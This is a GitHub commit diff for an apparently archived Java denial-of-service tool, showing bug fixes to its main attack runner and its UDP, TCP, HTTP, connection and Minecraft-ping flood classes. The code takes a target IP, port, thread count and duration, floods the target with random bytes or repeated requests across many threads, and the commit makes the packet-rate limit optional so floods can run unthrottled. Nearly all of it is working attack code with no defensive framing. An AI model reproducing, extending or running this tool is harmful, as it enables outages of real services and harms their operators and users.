Skip to content
This repository was archived by the owner on Aug 6, 2024. It is now read-only.

Commit 0dd3e9c

Browse files
committed
code issues fixed!
1 parent 1cb7bd5 commit 0dd3e9c

File tree

7 files changed

+89
-48
lines changed

7 files changed

+89
-48
lines changed

src/main/java/ir/xenoncommunity/jss/JSSAttack.java

Lines changed: 38 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -17,23 +17,23 @@
1717
@RequiredArgsConstructor
1818
public class JSSAttack implements Runnable {
1919
public final CommandLineParser parser;
20-
public boolean isDebug;
2120

2221
/**
2322
* Returns the appropriate attack method based on the provided method, byte size, and attack statics.
24-
* @param method the attack method
25-
* @param byteSize the size of the attack in bytes
23+
*
24+
* @param method the attack method
25+
* @param byteSize the size of the attack in bytes
2626
* @param attackStatics the attack statics
2727
* @return the appropriate attack method
2828
*/
2929
@NotNull
3030
private static IAttackMethod getMethod(String method, Integer byteSize, AttackStatics attackStatics) {
31-
return switch (method) {
32-
case "UDPFLOOD" -> new UDPFlood(attackStatics, byteSize);
33-
case "TCPFLOOD" -> new TCPFlood(attackStatics, byteSize);
34-
case "HTTPFLOOD" -> new HTTPFlood(attackStatics);
35-
case "CONNFLOOD" -> new ConnFlood(attackStatics);
36-
case "MCPING" -> new MCPingFlood(attackStatics);
31+
return switch (method.toUpperCase()) {
32+
case "TCPFLOOD", "TCP", "TCP_FLOOD" -> new TCPFlood(attackStatics, byteSize);
33+
case "HTTPFLOOD", "HTTP", "HTTP_FLOOD" -> new HTTPFlood(attackStatics);
34+
case "CONNFLOOD", "CONN", "CONN_FLOOD" -> new ConnFlood(attackStatics);
35+
case "MCPING", "MCPING_FLOOD", "MCPINGFLOOD" -> new MCPingFlood(attackStatics);
36+
case "UDPFLOOD", "UDP", "UDP_FLOOD" -> new UDPFlood(attackStatics, byteSize);
3737
default -> throw new IllegalArgumentException("Invalid method: " + method);
3838
};
3939
}
@@ -44,7 +44,7 @@ private static IAttackMethod getMethod(String method, Integer byteSize, AttackSt
4444
@SneakyThrows
4545
public void run() {
4646
// Parse command line arguments
47-
this.isDebug = this.parser.get("--debug", Boolean.class, false);
47+
final boolean debug = this.parser.get("--debug", Boolean.class, false);
4848
final String ip = this.parser.get("--ip", String.class, null);
4949
final Integer port = this.parser.get("--port", Integer.class, -1);
5050
final Integer ppsLimit = this.parser.get("--pps", Integer.class, -1);
@@ -63,60 +63,62 @@ public void run() {
6363
// Set logging level based on verbosity and debug mode
6464
if (verbose) {
6565
Logger.setCurrentLevel(Logger.LEVEL.VERBOSE);
66-
} else if (this.isDebug) {
66+
} else if (debug) {
6767
Logger.setCurrentLevel(Logger.LEVEL.DEBUG);
6868
}
6969

7070
// Log debug information if debug mode is enabled
71-
if (this.isDebug()) {
72-
Logger.setSection("DEBUG");
73-
Logger.log(Logger.LEVEL.INFO, "IP is: " + ip);
74-
Logger.log(Logger.LEVEL.INFO, "Port is: " + port);
75-
Logger.log(Logger.LEVEL.INFO, "MaxThreads is: " + maxThreads);
76-
Logger.log(Logger.LEVEL.INFO, "ByteSize is: " + byteSize);
77-
}
71+
Logger.setSection("DEBUG");
72+
Logger.log(Logger.LEVEL.DEBUG, "IP is: " + ip);
73+
Logger.log(Logger.LEVEL.DEBUG, "Port is: " + port);
74+
Logger.log(Logger.LEVEL.DEBUG, "MaxThreads is: " + maxThreads);
75+
Logger.log(Logger.LEVEL.DEBUG, "ByteSize is: " + byteSize);
76+
Logger.log(Logger.LEVEL.DEBUG, "Duration is: " + duration);
77+
Logger.log(Logger.LEVEL.DEBUG, "Method is: " + method);
7878

7979
// Initialize task manager
80-
TaskManager taskManager = new TaskManager(maxThreads);
80+
TaskManager taskManager = new TaskManager(maxThreads + 1);
8181

8282
// Initialize attack parameters
8383
final AttackStatics attackStatics = new AttackStatics(ppsLimit);
8484
final IAttackMethod attackMethod = getMethod(method, byteSize, attackStatics);
8585
final InetAddress addr = InetAddress.getByName(ip);
8686
final LocalTime endTime = LocalTime.now().plus(Duration.ofSeconds(duration));
8787

88+
Logger.log(Logger.LEVEL.DEBUG, "addr: " + addr);
89+
8890
// Start the attack and log thread creation
8991
Logger.setSection("ATTACK");
90-
for (int i = 0; i <= maxThreads; i++) {
91-
Logger.log(Logger.LEVEL.DEBUG, "Adding new thread. Max: " + maxThreads);
92+
for (int i = 1; i <= maxThreads; i++) {
93+
Logger.log(Logger.LEVEL.DEBUG, "Adding new thread." + i + " Max: " + maxThreads);
9294

9395
taskManager.add(() -> {
9496
do {
9597
try {
9698
attackMethod.send(addr, port == -1 ? Randomize.randomPort() : port);
97-
} catch (Exception e) {
98-
e.printStackTrace(System.err);
99+
} catch (Exception ignored) {
100+
99101
}
100-
} while (duration == -1 || endTime.isAfter(LocalTime.now()));
102+
} while (attackStatics.isRunning());
101103
});
102104
}
103105

104106
// Log start of attack
105107
Logger.log(Logger.LEVEL.INFO, "Attacking...");
106108

107-
// Add task to print attack statistics if verbose mode is enabled
108-
if (verbose) {
109-
taskManager.add(() -> {
110-
while (LocalTime.now().isBefore(endTime)) {
111-
try {
112-
TimeUnit.SECONDS.sleep(1000);
113-
attackStatics.print();
114-
} catch (InterruptedException e) {
115-
e.printStackTrace(System.err);
116-
}
109+
// Add task to manage statics for each second
110+
taskManager.add(() -> {
111+
while (LocalTime.now().isBefore(endTime) || duration == -1) {
112+
try {
113+
TimeUnit.SECONDS.sleep(1);
114+
attackStatics.second();
115+
} catch (InterruptedException e) {
116+
e.printStackTrace(System.err);
117117
}
118-
});
119-
}
118+
}
119+
120+
attackStatics.setRunning(false);
121+
});
120122

121123
// Perform attack for specified duration or indefinitely
122124
if (duration == -1) {

src/main/java/ir/xenoncommunity/jss/methods/impl/ConnFlood.java

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -23,9 +23,6 @@ public class ConnFlood implements IAttackMethod {
2323
*/
2424
@Override
2525
public void send(InetAddress addr, int port) throws Exception {
26-
// Check if the limit is reached before sending
27-
if (statics.isLimitReached()) return;
28-
2926
// create a socket connection to the specified address and port
3027
@Cleanup Socket socket = new Socket(addr, port);
3128

src/main/java/ir/xenoncommunity/jss/methods/impl/HTTPFlood.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ public void send(InetAddress addr, int port) throws Exception {
8181
int length = bytes.length;
8282

8383
// send the request while the socket is connected and the limit is not reached
84-
while (socket.isConnected() && !statics.isLimitReached()) {
84+
while (socket.isConnected() && !statics.isLimitReached() && statics.isRunning()) {
8585
statics.bps(length); // update bytes per second statistics
8686
statics.pps(); // update packets per second statistics
8787
outputStream.write(bytes);

src/main/java/ir/xenoncommunity/jss/methods/impl/TCPFlood.java

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,8 @@
22

33
import ir.xenoncommunity.jss.methods.IAttackMethod;
44
import ir.xenoncommunity.jss.utils.AttackStatics;
5-
import ir.xenoncommunity.jss.utils.SocketUtils;
65
import ir.xenoncommunity.jss.utils.Randomize;
6+
import ir.xenoncommunity.jss.utils.SocketUtils;
77
import lombok.Cleanup;
88
import lombok.RequiredArgsConstructor;
99

@@ -48,10 +48,9 @@ public void send(InetAddress addr, int port) throws Exception {
4848
@Cleanup OutputStream outputStream = socket.getOutputStream();
4949

5050
// continuously send data as long as the socket is connected and the limit is not reached
51-
while (socket.isConnected() && !statics.isLimitReached()) {
51+
while (socket.isConnected() && !statics.isLimitReached() && statics.isRunning()) {
5252
statics.bps(maxBytesSize); // update bytes per second statistics
5353
statics.pps(); // update packets per second statistics
54-
5554
// write random bytes to the output stream
5655
outputStream.write(Randomize.randomBytes(maxBytesSize));
5756
}

src/main/java/ir/xenoncommunity/jss/methods/impl/UDPFlood.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,8 +43,9 @@ public void send(InetAddress addr, int port) throws Exception {
4343

4444
statics.cps(); // update connection per second statistics
4545

46+
System.out.println(socket.isConnected());
4647
// continuously send data as long as the socket is connected and the limit is not reached
47-
while (socket.isConnected() && !statics.isLimitReached()) {
48+
while (!statics.isLimitReached() && statics.isRunning()) {
4849
statics.bps(maxBytesSize); // update bytes per second statistics
4950
statics.pps(); // update packets per second statistics
5051

src/main/java/ir/xenoncommunity/jss/utils/AttackStatics.java

Lines changed: 45 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
package ir.xenoncommunity.jss.utils;
22

3+
import lombok.Getter;
34
import lombok.RequiredArgsConstructor;
5+
import lombok.Setter;
46

57
import java.util.concurrent.atomic.AtomicLong;
68

@@ -10,14 +12,54 @@ public class AttackStatics {
1012
private final AtomicLong bpsCounter = new AtomicLong(0L);
1113
private final AtomicLong cpsCounter = new AtomicLong(0L);
1214

15+
@Setter
16+
@Getter
17+
private boolean running = true;
1318
private final Integer ppsLimit;
1419

15-
public void print() {
16-
Logger.log(Logger.LEVEL.VERBOSE, "PPS: %d, BPS: %d, CPS: %d", ppsCounter.get(), bpsCounter.get(), cpsCounter.get());
20+
/**
21+
* Reset counters and log the number of packets, bytes, and commands per second.
22+
*/
23+
public void second() {
24+
long packetsPerSecond = ppsCounter.getAndSet(0);
25+
long bytesPerSecond = bpsCounter.getAndSet(0);
26+
long commandsPerSecond = cpsCounter.getAndSet(0);
27+
// Format the output string
28+
String formattedOutput = String.format("PPS: %,d, BPS: %s\\ps, CPS: %,d%n", packetsPerSecond, formatBytes(bytesPerSecond), commandsPerSecond);
29+
// Log the formatted output
30+
Logger.log(Logger.LEVEL.VERBOSE, formattedOutput);
1731
}
1832

33+
34+
/**
35+
* Formats the given number of bytes into a string representation.
36+
* @param bytes The number of bytes to be formatted
37+
* @return The formatted string representation of the bytes
38+
*/
39+
private String formatBytes(long bytes) {
40+
// Convert bytes to bits
41+
double bits = (double) bytes * 8;
42+
43+
// Check if bytes is greater than or equal to 1Gb
44+
if (bytes >= 1024 * 1024 * 1024) {
45+
// Return formatted string for Gb
46+
return String.format("%.2fGb", bits / (1024.0 * 1024.0 * 1024.0));
47+
} else if (bytes >= 1024 * 1024) { // Check if bytes is greater than or equal to 1Mb
48+
// Return formatted string for Mb
49+
return String.format("%.2fMb", bits / (1024.0 * 1024.0));
50+
} else { // If bytes is less than 1Mb
51+
// Return formatted string for Kb
52+
return String.format("%.2fKb", bits / 1024.0);
53+
}
54+
}
55+
56+
/**
57+
* Checks if the limit of requests per second (pps) has been reached.
58+
*
59+
* @return true if the pps limit has been reached, false otherwise
60+
*/
1961
public boolean isLimitReached() {
20-
return ppsCounter.get() >= ppsLimit;
62+
return ppsCounter.get() >= ppsLimit && ppsLimit != -1;
2163
}
2264

2365
public void cps() {

src/main/java/ir/xenoncommunity/jss/utils/TaskManager.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ public class TaskManager {
88
public final ExecutorService tasks;
99

1010
public TaskManager(Integer maxThreads) {
11-
tasks = Executors.newFixedThreadPool(maxThreads);
11+
tasks = Executors.newFixedThreadPool(maxThreads, Executors.defaultThreadFactory());
1212
}
1313

1414
public void add(final Runnable threadIn) {

0 commit comments

Comments
 (0)